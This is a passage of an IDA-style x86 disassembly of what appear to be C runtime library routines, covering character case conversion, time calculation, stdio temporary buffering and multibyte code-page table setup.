var_6 = byte ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
cmp dword_492170, 0
jnz short loc_423DCC
cmp [ebp+arg_0], 61h
jl short loc_423DC4
cmp [ebp+arg_0], 7Ah
jg short loc_423DC4
mov eax, [ebp+arg_0]
sub eax, 20h
mov [ebp+arg_0], eax
loc_423DC4: ; CODE XREF: sub_423DA0+13j
; sub_423DA0+19j
mov eax, [ebp+arg_0]
jmp loc_423EC7
; ---------------------------------------------------------------------------
loc_423DCC: ; CODE XREF: sub_423DA0+Dj
cmp [ebp+arg_0], 100h
jge short loc_423E13
cmp dword_442F58, 1
jle short loc_423DF1
push 2
mov ecx, [ebp+arg_0]
push ecx
call sub_41E750
add esp, 8
mov [ebp+var_10], eax
jmp short loc_423E05
; ---------------------------------------------------------------------------
loc_423DF1: ; CODE XREF: sub_423DA0+3Cj
mov edx, [ebp+arg_0]
mov eax, off_442D4C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 2
mov [ebp+var_10], ecx
loc_423E05: ; CODE XREF: sub_423DA0+4Fj
cmp [ebp+var_10], 0
jnz short loc_423E13
mov eax, [ebp+arg_0]
jmp loc_423EC7
; ---------------------------------------------------------------------------
loc_423E13: ; CODE XREF: sub_423DA0+33j
; sub_423DA0+69j
mov edx, [ebp+arg_0]
sar edx, 8
and edx, 0FFh
and edx, 0FFh
mov eax, off_442D4C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 8000h
test ecx, ecx
jz short loc_423E5C
mov edx, [ebp+arg_0]
sar edx, 8
and edx, 0FFh
mov [ebp+var_8], dl
mov al, byte ptr [ebp+arg_0]
mov [ebp+var_7], al
mov [ebp+var_6], 0
mov [ebp+var_4], 2
jmp short loc_423E6D
; ---------------------------------------------------------------------------
loc_423E5C: ; CODE XREF: sub_423DA0+98j
mov cl, byte ptr [ebp+arg_0]
mov [ebp+var_8], cl
mov [ebp+var_7], 0
mov [ebp+var_4], 1
loc_423E6D: ; CODE XREF: sub_423DA0+BAj
push 1
push 0
push 3
lea edx, [ebp+var_C]
push edx
mov eax, [ebp+var_4]
push eax
lea ecx, [ebp+var_8]
push ecx
push 200h
mov edx, dword_492170
push edx
call sub_422F40
add esp, 20h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_423EA1
mov eax, [ebp+arg_0]
jmp short loc_423EC7
; ---------------------------------------------------------------------------
loc_423EA1: ; CODE XREF: sub_423DA0+FAj
cmp [ebp+var_4], 1
jnz short loc_423EB1
mov eax, [ebp+var_C]
and eax, 0FFh
jmp short loc_423EC7
; ---------------------------------------------------------------------------
loc_423EB1: ; CODE XREF: sub_423DA0+105j
mov eax, [ebp+var_C]
and eax, 0FFh
mov ecx, [ebp+var_C+1]
and ecx, 0FFh
shl ecx, 8
or eax, ecx
loc_423EC7: ; CODE XREF: sub_423DA0+27j
; sub_423DA0+6Ej ...
mov esp, ebp
pop ebp
retn
sub_423DA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423ED0 proc near ; CODE XREF: sub_41ABD0+161p
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 2Ch
mov eax, [ebp+arg_0]
sub eax, 76Ch
mov [ebp+arg_0], eax
cmp [ebp+arg_0], 46h
jl short loc_423EF0
cmp [ebp+arg_0], 8Ah
jle short loc_423EF8
loc_423EF0: ; CODE XREF: sub_423ED0+15j
or eax, 0FFFFFFFFh
jmp loc_423FBA
; ---------------------------------------------------------------------------
loc_423EF8: ; CODE XREF: sub_423ED0+1Ej
mov ecx, [ebp+arg_4]
mov edx, [ebp+arg_8]
add edx, dword_443FAC[ecx*4]
mov [ebp+var_2C], edx
mov eax, [ebp+arg_0]
and eax, 3
test eax, eax
jnz short loc_423F21
cmp [ebp+arg_4], 2
jle short loc_423F21
mov ecx, [ebp+var_2C]
add ecx, 1
mov [ebp+var_2C], ecx
loc_423F21: ; CODE XREF: sub_423ED0+40j
; sub_423ED0+46j
mov edx, [ebp+arg_0]
sub edx, 46h
imul edx, 16Dh
mov eax, [ebp+arg_0]
sub eax, 1
sar eax, 2
mov ecx, [ebp+var_2C]
add ecx, edx
lea edx, [eax+ecx-11h]
imul edx, 18h
add edx, [ebp+arg_C]
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
imul eax, 3Ch
add eax, [ebp+arg_10]
imul eax, 3Ch
add eax, [ebp+arg_14]
mov [ebp+var_4], eax
call sub_42BA60
mov ecx, [ebp+var_4]
add ecx, dword_443EC8
mov [ebp+var_4], ecx
mov edx, [ebp+var_2C]
mov [ebp+var_C], edx
mov eax, [ebp+arg_0]
mov [ebp+var_14], eax
mov ecx, [ebp+arg_4]
sub ecx, 1
mov [ebp+var_18], ecx
mov edx, [ebp+arg_C]
mov [ebp+var_20], edx
cmp [ebp+arg_18], 1
jz short loc_423FAB
cmp [ebp+arg_18], 0FFFFFFFFh
jnz short loc_423FB7
cmp dword_443ECC, 0
jz short loc_423FB7
lea eax, [ebp+var_28]
push eax
call sub_42BE70
add esp, 4
test eax, eax
jz short loc_423FB7
loc_423FAB: ; CODE XREF: sub_423ED0+BAj
mov ecx, [ebp+var_4]
add ecx, dword_443ED0
mov [ebp+var_4], ecx
loc_423FB7: ; CODE XREF: sub_423ED0+C0j
; sub_423ED0+C9j ...
mov eax, [ebp+var_4]
loc_423FBA: ; CODE XREF: sub_423ED0+23j
mov esp, ebp
pop ebp
retn
sub_423ED0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423FC0 proc near ; CODE XREF: sub_41AD60+79p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
loc_423FC9: ; CODE XREF: sub_423FC0+31j
cmp [ebp+arg_0], 0
jnz short loc_423FED
push offset aStrNull ; "str != NULL"
push 0
push 41h
push offset a_sftbuf_c ; "_sftbuf.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_423FED
int 3 ; Trap to Debugger
loc_423FED: ; CODE XREF: sub_423FC0+Dj
; sub_423FC0+2Aj
xor eax, eax
test eax, eax
jnz short loc_423FC9
mov ecx, [ebp+arg_0]
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov eax, [edx+10h]
push eax
call sub_4271D0
add esp, 4
test eax, eax
jnz short loc_424013
xor eax, eax
jmp loc_424110
; ---------------------------------------------------------------------------
loc_424013: ; CODE XREF: sub_423FC0+4Aj
cmp [ebp+var_4], offset dword_442FA0
jnz short loc_424025
mov [ebp+var_8], 0
jmp short loc_42403E
; ---------------------------------------------------------------------------
loc_424025: ; CODE XREF: sub_423FC0+5Aj
cmp [ebp+var_4], offset dword_442FC0
jnz short loc_424037
mov [ebp+var_8], 1
jmp short loc_42403E
; ---------------------------------------------------------------------------
loc_424037: ; CODE XREF: sub_423FC0+6Cj
xor eax, eax
jmp loc_424110
; ---------------------------------------------------------------------------
loc_42403E: ; CODE XREF: sub_423FC0+63j
; sub_423FC0+75j
mov ecx, dword_492154
add ecx, 1
mov dword_492154, ecx
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 10Ch
test eax, eax
jz short loc_424063
xor eax, eax
jmp loc_424110
; ---------------------------------------------------------------------------
loc_424063: ; CODE XREF: sub_423FC0+9Aj
mov ecx, [ebp+var_8]
cmp dword_492188[ecx*4], 0
jnz short loc_4240CA
push 5Eh
push offset a_sftbuf_c ; "_sftbuf.c"
push 2
push 1000h
call sub_416A30
add esp, 10h
mov edx, [ebp+var_8]
mov dword_492188[edx*4], eax
mov eax, [ebp+var_8]
cmp dword_492188[eax*4], 0
jnz short loc_4240CA
mov ecx, [ebp+var_4]
add ecx, 14h
mov edx, [ebp+var_4]
mov [edx+8], ecx
mov eax, [ebp+var_4]
mov ecx, [ebp+var_4]
mov edx, [ecx+8]
mov [eax], edx
mov eax, [ebp+var_4]
mov dword ptr [eax+18h], 2
mov ecx, [ebp+var_4]
mov dword ptr [ecx+4], 2
jmp short loc_4240F9
; ---------------------------------------------------------------------------
loc_4240CA: ; CODE XREF: sub_423FC0+AEj
; sub_423FC0+DBj
mov edx, [ebp+var_4]
mov eax, [ebp+var_8]
mov ecx, dword_492188[eax*4]
mov [edx+8], ecx
mov edx, [ebp+var_4]
mov eax, [ebp+var_4]
mov ecx, [eax+8]
mov [edx], ecx
mov edx, [ebp+var_4]
mov dword ptr [edx+18h], 1000h
mov eax, [ebp+var_4]
mov dword ptr [eax+4], 1000h
loc_4240F9: ; CODE XREF: sub_423FC0+108j
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
or edx, 1102h
mov eax, [ebp+var_4]
mov [eax+0Ch], edx
mov eax, 1
loc_424110: ; CODE XREF: sub_423FC0+4Ej
; sub_423FC0+79j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_423FC0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424120 proc near ; CODE XREF: sub_41AD60+A3p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
loc_424127: ; CODE XREF: sub_424120+38j
cmp [ebp+arg_0], 0
jz short loc_424154
cmp [ebp+arg_0], 1
jz short loc_424154
push offset aFlag0Flag1 ; "flag == 0 || flag == 1"
push 0
push 0A1h
push offset a_sftbuf_c ; "_sftbuf.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_424154
int 3 ; Trap to Debugger
loc_424154: ; CODE XREF: sub_424120+Bj
; sub_424120+11j ...
xor eax, eax
test eax, eax
jnz short loc_424127
mov ecx, [ebp+arg_4]
mov [ebp+var_4], ecx
cmp [ebp+arg_0], 0
jz short loc_4241AD
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 1000h
test eax, eax
jz short loc_4241AD
mov ecx, [ebp+var_4]
push ecx
call sub_421580
add esp, 4
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and ah, 0EEh
mov ecx, [ebp+var_4]
mov [ecx+0Ch], eax
mov edx, [ebp+var_4]
mov dword ptr [edx+18h], 0
mov eax, [ebp+var_4]
mov dword ptr [eax], 0
mov ecx, [ebp+var_4]
mov dword ptr [ecx+8], 0
loc_4241AD: ; CODE XREF: sub_424120+44j
; sub_424120+53j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_424120 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4241C0 proc near ; CODE XREF: sub_4249A0+Ep
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1A = byte ptr -1Ah
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28h
push 19h
call sub_41BC90
add esp, 4
mov eax, [ebp+arg_0]
push eax
call sub_424510
add esp, 4
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
cmp ecx, dword_492524
jnz short loc_4241FB
push 19h
call sub_41BD30
add esp, 4
xor eax, eax
jmp loc_424500
; ---------------------------------------------------------------------------
loc_4241FB: ; CODE XREF: sub_4241C0+28j
cmp [ebp+arg_0], 0
jnz short loc_42421C
call sub_4245F0
call sub_424670
push 19h
call sub_41BD30
add esp, 4
xor eax, eax
jmp loc_424500
; ---------------------------------------------------------------------------
loc_42421C: ; CODE XREF: sub_4241C0+3Fj
mov [ebp+var_4], 0
jmp short loc_42422E
; ---------------------------------------------------------------------------
loc_424225: ; CODE XREF: sub_4241C0:loc_42437Aj
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_42422E: ; CODE XREF: sub_4241C0+63j
cmp [ebp+var_4], 5
jnb loc_42437F
mov eax, [ebp+var_4]
imul eax, 30h
mov ecx, dword_4434E0[eax]
cmp ecx, [ebp+arg_0]
jnz loc_42437A
mov [ebp+var_24], 0
jmp short loc_42425F
; ---------------------------------------------------------------------------
loc_424256: ; CODE XREF: sub_4241C0+B2j
mov edx, [ebp+var_24]
add edx, 1
mov [ebp+var_24], edx
loc_42425F: ; CODE XREF: sub_4241C0+94j
cmp [ebp+var_24], 101h
jnb short loc_424274
mov eax, [ebp+var_24]
mov byte_492640[eax], 0
jmp short loc_424256
; ---------------------------------------------------------------------------
loc_424274: ; CODE XREF: sub_4241C0+A6j
mov [ebp+var_C], 0
jmp short loc_424286
; ---------------------------------------------------------------------------
loc_42427D: ; CODE XREF: sub_4241C0:loc_424302j
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
loc_424286: ; CODE XREF: sub_4241C0+BBj
cmp [ebp+var_C], 4
jnb short loc_424307
mov edx, [ebp+var_4]
imul edx, 30h
mov eax, [ebp+var_C]
lea ecx, dword_4434F0[edx+eax*8]
mov [ebp+var_8], ecx
jmp short loc_4242AA
; ---------------------------------------------------------------------------
loc_4242A1: ; CODE XREF: sub_4241C0:loc_424300j
mov edx, [ebp+var_8]
add edx, 2
mov [ebp+var_8], edx
loc_4242AA: ; CODE XREF: sub_4241C0+DFj
mov eax, [ebp+var_8]
xor ecx, ecx
mov cl, [eax]
test ecx, ecx
jz short loc_424302
mov edx, [ebp+var_8]
xor eax, eax
mov al, [edx+1]
test eax, eax
jz short loc_424302
mov ecx, [ebp+var_8]
xor edx, edx
mov dl, [ecx]
mov [ebp+var_24], edx
jmp short loc_4242D6
; ---------------------------------------------------------------------------
loc_4242CD: ; CODE XREF: sub_4241C0+13Ej
mov eax, [ebp+var_24]
add eax, 1
mov [ebp+var_24], eax
loc_4242D6: ; CODE XREF: sub_4241C0+10Bj
mov ecx, [ebp+var_8]
xor edx, edx
mov dl, [ecx+1]
cmp [ebp+var_24], edx
ja short loc_424300
mov eax, [ebp+var_24]
mov ecx, [ebp+var_C]
mov dl, byte_492641[eax]
or dl, byte_4434D8[ecx]
mov eax, [ebp+var_24]
mov byte_492641[eax], dl
jmp short loc_4242CD
; ---------------------------------------------------------------------------
loc_424300: ; CODE XREF: sub_4241C0+121j
jmp short loc_4242A1
; ---------------------------------------------------------------------------
loc_424302: ; CODE XREF: sub_4241C0+F3j
; sub_4241C0+FFj
jmp loc_42427D
; ---------------------------------------------------------------------------
loc_424307: ; CODE XREF: sub_4241C0+CAj
mov ecx, [ebp+arg_0]
mov dword_492524, ecx
mov dword_49253C, 1
mov edx, dword_492524
push edx
call sub_424570
add esp, 4
mov dword_492744, eax
mov [ebp+var_C], 0
jmp short loc_424340
; ---------------------------------------------------------------------------
loc_424337: ; CODE XREF: sub_4241C0+1A2j
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
loc_424340: ; CODE XREF: sub_4241C0+175j
cmp [ebp+var_C], 6
jnb short loc_424364
mov ecx, [ebp+var_4]
imul ecx, 30h
mov edx, [ebp+var_C]
mov eax, [ebp+var_C]
mov cx, word_4434E4[ecx+eax*2]
mov word_492530[edx*2], cx
jmp short loc_424337
; ---------------------------------------------------------------------------
loc_424364: ; CODE XREF: sub_4241C0+184j
call sub_424670
push 19h
call sub_41BD30
add esp, 4
xor eax, eax
jmp loc_424500
; ---------------------------------------------------------------------------
loc_42437A: ; CODE XREF: sub_4241C0+87j
jmp loc_424225
; ---------------------------------------------------------------------------
loc_42437F: ; CODE XREF: sub_4241C0+72j
lea edx, [ebp+var_20]
push edx
mov eax, [ebp+arg_0]
push eax
call ds:dword_49447C
cmp eax, 1
jnz loc_4244D2
mov [ebp+var_24], 0
jmp short loc_4243A8
; ---------------------------------------------------------------------------
loc_42439F: ; CODE XREF: sub_4241C0+1FBj
mov ecx, [ebp+var_24]
add ecx, 1
mov [ebp+var_24], ecx
loc_4243A8: ; CODE XREF: sub_4241C0+1DDj
cmp [ebp+var_24], 101h
jnb short loc_4243BD
mov edx, [ebp+var_24]
mov byte_492640[edx], 0
jmp short loc_42439F
; ---------------------------------------------------------------------------
loc_4243BD: ; CODE XREF: sub_4241C0+1EFj
mov eax, [ebp+arg_0]
mov dword_492524, eax
mov dword_492744, 0
cmp [ebp+var_20], 1
jbe loc_42448E
lea ecx, [ebp+var_1A]
mov [ebp+var_28], ecx
jmp short loc_4243EA
; ---------------------------------------------------------------------------
loc_4243E1: ; CODE XREF: sub_4241C0:loc_42443Aj
mov edx, [ebp+var_28]
add edx, 2
mov [ebp+var_28], edx
loc_4243EA: ; CODE XREF: sub_4241C0+21Fj
mov eax, [ebp+var_28]
xor ecx, ecx
mov cl, [eax]
test ecx, ecx
jz short loc_42443C
mov edx, [ebp+var_28]
xor eax, eax
mov al, [edx+1]
test eax, eax
jz short loc_42443C
mov ecx, [ebp+var_28]
xor edx, edx
mov dl, [ecx]
mov [ebp+var_24], edx
jmp short loc_424416
; ---------------------------------------------------------------------------
loc_42440D: ; CODE XREF: sub_4241C0+278j
mov eax, [ebp+var_24]
add eax, 1
mov [ebp+var_24], eax
loc_424416: ; CODE XREF: sub_4241C0+24Bj
mov ecx, [ebp+var_28]
xor edx, edx
mov dl, [ecx+1]
cmp [ebp+var_24], edx
ja short loc_42443A
mov eax, [ebp+var_24]
mov cl, byte_492641[eax]
or cl, 4
mov edx, [ebp+var_24]
mov byte_492641[edx], cl
jmp short loc_42440D
; ---------------------------------------------------------------------------
loc_42443A: ; CODE XREF: sub_4241C0+261j
jmp short loc_4243E1
; ---------------------------------------------------------------------------
loc_42443C: ; CODE XREF: sub_4241C0+233j
; sub_4241C0+23Fj
mov [ebp+var_24], 1
jmp short loc_42444E
; ---------------------------------------------------------------------------
loc_424445: ; CODE XREF: sub_4241C0+2ACj
mov eax, [ebp+var_24]
add eax, 1
mov [ebp+var_24], eax
loc_42444E: ; CODE XREF: sub_4241C0+283j
cmp [ebp+var_24], 0FFh
jnb short loc_42446E
mov ecx, [ebp+var_24]
mov dl, byte_492641[ecx]
or dl, 8
mov eax, [ebp+var_24]
mov byte_492641[eax], dl
jmp short loc_424445
; ---------------------------------------------------------------------------
loc_42446E: ; CODE XREF: sub_4241C0+295j
mov ecx, dword_492524
push ecx
call sub_424570
add esp, 4
mov dword_492744, eax
mov dword_49253C, 1
jmp short loc_424498
; ---------------------------------------------------------------------------
loc_42448E: ; CODE XREF: sub_4241C0+213j
mov dword_49253C, 0
loc_424498: ; CODE XREF: sub_4241C0+2CCj
mov [ebp+var_C], 0
jmp short loc_4244AA
; ---------------------------------------------------------------------------
loc_4244A1: ; CODE XREF: sub_4241C0+2FDj
mov edx, [ebp+var_C]
add edx, 1
mov [ebp+var_C], edx
loc_4244AA: ; CODE XREF: sub_4241C0+2DFj
cmp [ebp+var_C], 6
jnb short loc_4244BF
mov eax, [ebp+var_C]
mov word_492530[eax*2], 0
jmp short loc_4244A1
; ---------------------------------------------------------------------------
loc_4244BF: ; CODE XREF: sub_4241C0+2EEj
call sub_424670
push 19h
call sub_41BD30
add esp, 4
xor eax, eax
jmp short loc_424500
; ---------------------------------------------------------------------------
loc_4244D2: ; CODE XREF: sub_4241C0+1D0j
cmp dword_492190, 0
jz short loc_4244F3
call sub_4245F0
call sub_424670
push 19h
call sub_41BD30
add esp, 4
xor eax, eax
jmp short loc_424500
; ---------------------------------------------------------------------------
loc_4244F3: ; CODE XREF: sub_4241C0+319j
push 19h
call sub_41BD30
add esp, 4
or eax, 0FFFFFFFFh
loc_424500: ; CODE XREF: sub_4241C0+36j
; sub_4241C0+57j ...
mov esp, ebp
pop ebp
retn
sub_4241C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424510 proc near ; CODE XREF: sub_4241C0+14p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov dword_492190, 0
cmp [ebp+arg_0], 0FFFFFFFEh
jnz short loc_424535
mov dword_492190, 1
call ds:dword_494484
jmp short loc_424567
; ---------------------------------------------------------------------------
loc_424535: ; CODE XREF: sub_424510+11j
cmp [ebp+arg_0], 0FFFFFFFDh
jnz short loc_42454D
mov dword_492190, 1
call ds:dword_494480
jmp short loc_424567
; ---------------------------------------------------------------------------
loc_42454D: ; CODE XREF: sub_424510+29j
cmp [ebp+arg_0], 0FFFFFFFCh
jnz short loc_424564
mov dword_492190, 1
mov eax, dword_492180
jmp short loc_424567
; ---------------------------------------------------------------------------
loc_424564: ; CODE XREF: sub_424510+41j
mov eax, [ebp+arg_0]
loc_424567: ; CODE XREF: sub_424510+23j
; sub_424510+3Bj ...
pop ebp
retn
sub_424510 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424570 proc near ; CODE XREF: sub_4241C0+161p
; sub_4241C0+2B5p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
sub ecx, 3A4h
mov [ebp+var_4], ecx
cmp [ebp+var_4], 12h
ja short loc_4245BA
mov eax, [ebp+var_4]
xor edx, edx
mov dl, ds:byte_4245D4[eax]
jmp ds:off_4245C0[edx*4]
loc_42459E: ; DATA XREF: .text:off_4245C0o
mov eax, 411h
jmp short loc_4245BC
; ---------------------------------------------------------------------------
loc_4245A5: ; CODE XREF: sub_424570+27j
; DATA XREF: .text:004245C4o
mov eax, 804h
jmp short loc_4245BC
; ---------------------------------------------------------------------------
loc_4245AC: ; CODE XREF: sub_424570+27j
; DATA XREF: .text:004245C8o
mov eax, 412h
jmp short loc_4245BC
; ---------------------------------------------------------------------------
loc_4245B3: ; CODE XREF: sub_424570+27j
; DATA XREF: .text:004245CCo
mov eax, 404h
jmp short loc_4245BC
; ---------------------------------------------------------------------------
loc_4245BA: ; CODE XREF: sub_424570+1Aj
; sub_424570+27j
; DATA XREF: ...
xor eax, eax
loc_4245BC: ; CODE XREF: sub_424570+33j
; sub_424570+3Aj ...
mov esp, ebp
pop ebp
retn
sub_424570 endp
; ---------------------------------------------------------------------------
off_4245C0 dd offset loc_42459E ; DATA XREF: sub_424570+27r
dd offset loc_4245A5
dd offset loc_4245AC
dd offset loc_4245B3
dd offset loc_4245BA
byte_4245D4 db 0 ; DATA XREF: sub_424570+21r
db 3 dup(4)
dd 4040401h, 2 dup(4040404h), 0CC030204h, 2 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4245F0 proc near ; CODE XREF: sub_4241C0+41p
; sub_4241C0+31Bp
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0
jmp short loc_424606
; ---------------------------------------------------------------------------
loc_4245FD: ; CODE XREF: sub_4245F0+29j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_424606: ; CODE XREF: sub_4245F0+Bj
cmp [ebp+var_4], 101h
jge short loc_42461B
mov ecx, [ebp+var_4]
mov byte_492640[ecx], 0
jmp short loc_4245FD
; ---------------------------------------------------------------------------
loc_42461B: ; CODE XREF: sub_4245F0+1Dj
mov dword_492524, 0
mov dword_49253C, 0
mov dword_492744, 0
mov [ebp+var_4], 0
jmp short loc_42464B
; ---------------------------------------------------------------------------
loc_424642: ; CODE XREF: sub_4245F0+6Ej
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_42464B: ; CODE XREF: sub_4245F0+50j
cmp [ebp+var_4], 6
jge short loc_424660
mov eax, [ebp+var_4]
mov word_492530[eax*2], 0
jmp short loc_424642
; ---------------------------------------------------------------------------
loc_424660: ; CODE XREF: sub_4245F0+5Fj
mov esp, ebp
pop ebp
retn
sub_4245F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424670 proc near ; CODE XREF: sub_4241C0+46p
; sub_4241C0:loc_424364p ...
var_51C = dword ptr -51Ch
var_518 = byte ptr -518h
var_418 = byte ptr -418h
var_318 = byte ptr -318h
var_312 = byte ptr -312h
var_304 = byte ptr -304h
var_204 = word ptr -204h
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 51Ch
lea eax, [ebp+var_318]
push eax
mov ecx, dword_492524
push ecx
call ds:dword_49447C
cmp eax, 1
jnz loc_4248A9
mov [ebp+var_51C], 0
jmp short loc_4246B1
; ---------------------------------------------------------------------------
loc_4246A2: ; CODE XREF: sub_424670+60j
mov edx, [ebp+var_51C]
add edx, 1
mov [ebp+var_51C], edx
loc_4246B1: ; CODE XREF: sub_424670+30j
cmp [ebp+var_51C], 100h
jnb short loc_4246D2
mov eax, [ebp+var_51C]
mov cl, byte ptr [ebp+var_51C]
mov [ebp+eax+var_304], cl
jmp short loc_4246A2
; ---------------------------------------------------------------------------
loc_4246D2: ; CODE XREF: sub_424670+4Bj
mov [ebp+var_304], 20h
lea edx, [ebp+var_312]
mov [ebp+var_4], edx
jmp short loc_4246ED
; ---------------------------------------------------------------------------
loc_4246E4: ; CODE XREF: sub_424670:loc_424736j
mov eax, [ebp+var_4]
add eax, 2
mov [ebp+var_4], eax
loc_4246ED: ; CODE XREF: sub_424670+72j
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
test edx, edx
jz short loc_424738
mov eax, [ebp+var_4]
xor ecx, ecx
mov cl, [eax]
mov [ebp+var_51C], ecx
jmp short loc_424716
; ---------------------------------------------------------------------------
loc_424707: ; CODE XREF: sub_424670+C4j
mov edx, [ebp+var_51C]
add edx, 1
mov [ebp+var_51C], edx
loc_424716: ; CODE XREF: sub_424670+95j
mov eax, [ebp+var_4]
xor ecx, ecx
mov cl, [eax+1]
cmp [ebp+var_51C], ecx
ja short loc_424736
mov edx, [ebp+var_51C]
mov [ebp+edx+var_304], 20h
jmp short loc_424707
; ---------------------------------------------------------------------------
loc_424736: ; CODE XREF: sub_424670+B4j
jmp short loc_4246E4
; ---------------------------------------------------------------------------
loc_424738: ; CODE XREF: sub_424670+86j
push 0
mov eax, dword_492744
push eax
mov ecx, dword_492524
push ecx
lea edx, [ebp+var_204]
push edx
push 100h
lea eax, [ebp+var_304]
push eax
push 1
call sub_426F40
add esp, 1Ch
push 0
mov ecx, dword_492524
push ecx
push 100h
lea edx, [ebp+var_418]
push edx
push 100h
lea eax, [ebp+var_304]
push eax
push 100h
mov ecx, dword_492744
push ecx
call sub_422F40
add esp, 20h
push 0
mov edx, dword_492524
push edx
push 100h
lea eax, [ebp+var_518]
push eax
push 100h
lea ecx, [ebp+var_304]
push ecx
push 200h
mov edx, dword_492744
push edx
call sub_422F40
add esp, 20h
mov [ebp+var_51C], 0
jmp short loc_4247E9
; ---------------------------------------------------------------------------
loc_4247DA: ; CODE XREF: sub_424670:loc_42489Fj
mov eax, [ebp+var_51C]
add eax, 1
mov [ebp+var_51C], eax
loc_4247E9: ; CODE XREF: sub_424670+168j
cmp [ebp+var_51C], 100h
jnb loc_4248A4
mov ecx, [ebp+var_51C]
xor edx, edx
mov dx, [ebp+ecx*2+var_204]
and edx, 1
test edx, edx
jz short loc_424846
mov eax, [ebp+var_51C]
mov cl, byte_492641[eax]
or cl, 10h
mov edx, [ebp+var_51C]
mov byte_492641[edx], cl
mov eax, [ebp+var_51C]
mov ecx, [ebp+var_51C]
mov dl, [ebp+ecx+var_418]
mov byte_492540[eax], dl
jmp short loc_42489F
; ---------------------------------------------------------------------------
loc_424846: ; CODE XREF: sub_424670+19Ej
mov eax, [ebp+var_51C]
xor ecx, ecx
mov cx, [ebp+eax*2+var_204]
and ecx, 2
test ecx, ecx
jz short loc_424892
mov edx, [ebp+var_51C]
mov al, byte_492641[edx]
or al, 20h
mov ecx, [ebp+var_51C]
mov byte_492641[ecx], al
mov edx, [ebp+var_51C]
mov eax, [ebp+var_51C]
mov cl, [ebp+eax+var_518]
mov byte_492540[edx], cl
jmp short loc_42489F
; ---------------------------------------------------------------------------
loc_424892: ; CODE XREF: sub_424670+1EBj
mov edx, [ebp+var_51C]
mov byte_492540[edx], 0
loc_42489F: ; CODE XREF: sub_424670+1D4j
; sub_424670+220j
jmp loc_4247DA
; ---------------------------------------------------------------------------
loc_4248A4: ; CODE XREF: sub_424670+183j
jmp loc_42496E
; ---------------------------------------------------------------------------
loc_4248A9: ; CODE XREF: sub_424670+20j
mov [ebp+var_51C], 0
jmp short loc_4248C4
; ---------------------------------------------------------------------------
loc_4248B5: ; CODE XREF: sub_424670:loc_424969j
mov eax, [ebp+var_51C]
add eax, 1
mov [ebp+var_51C], eax
loc_4248C4: ; CODE XREF: sub_424670+243j
cmp [ebp+var_51C], 100h
jnb loc_42496E
cmp [ebp+var_51C], 41h
jb short loc_424918
cmp [ebp+var_51C], 5Ah
ja short loc_424918
mov ecx, [ebp+var_51C]
mov dl, byte_492641[ecx]
or dl, 10h
mov eax, [ebp+var_51C]
mov byte_492641[eax], dl
mov ecx, [ebp+var_51C]
add ecx, 20h
mov edx, [ebp+var_51C]
mov byte_492540[edx], cl
jmp short loc_424969
; ---------------------------------------------------------------------------
loc_424918: ; CODE XREF: sub_424670+26Bj
; sub_424670+274j
cmp [ebp+var_51C], 61h
jb short loc_42495C
cmp [ebp+var_51C], 7Ah
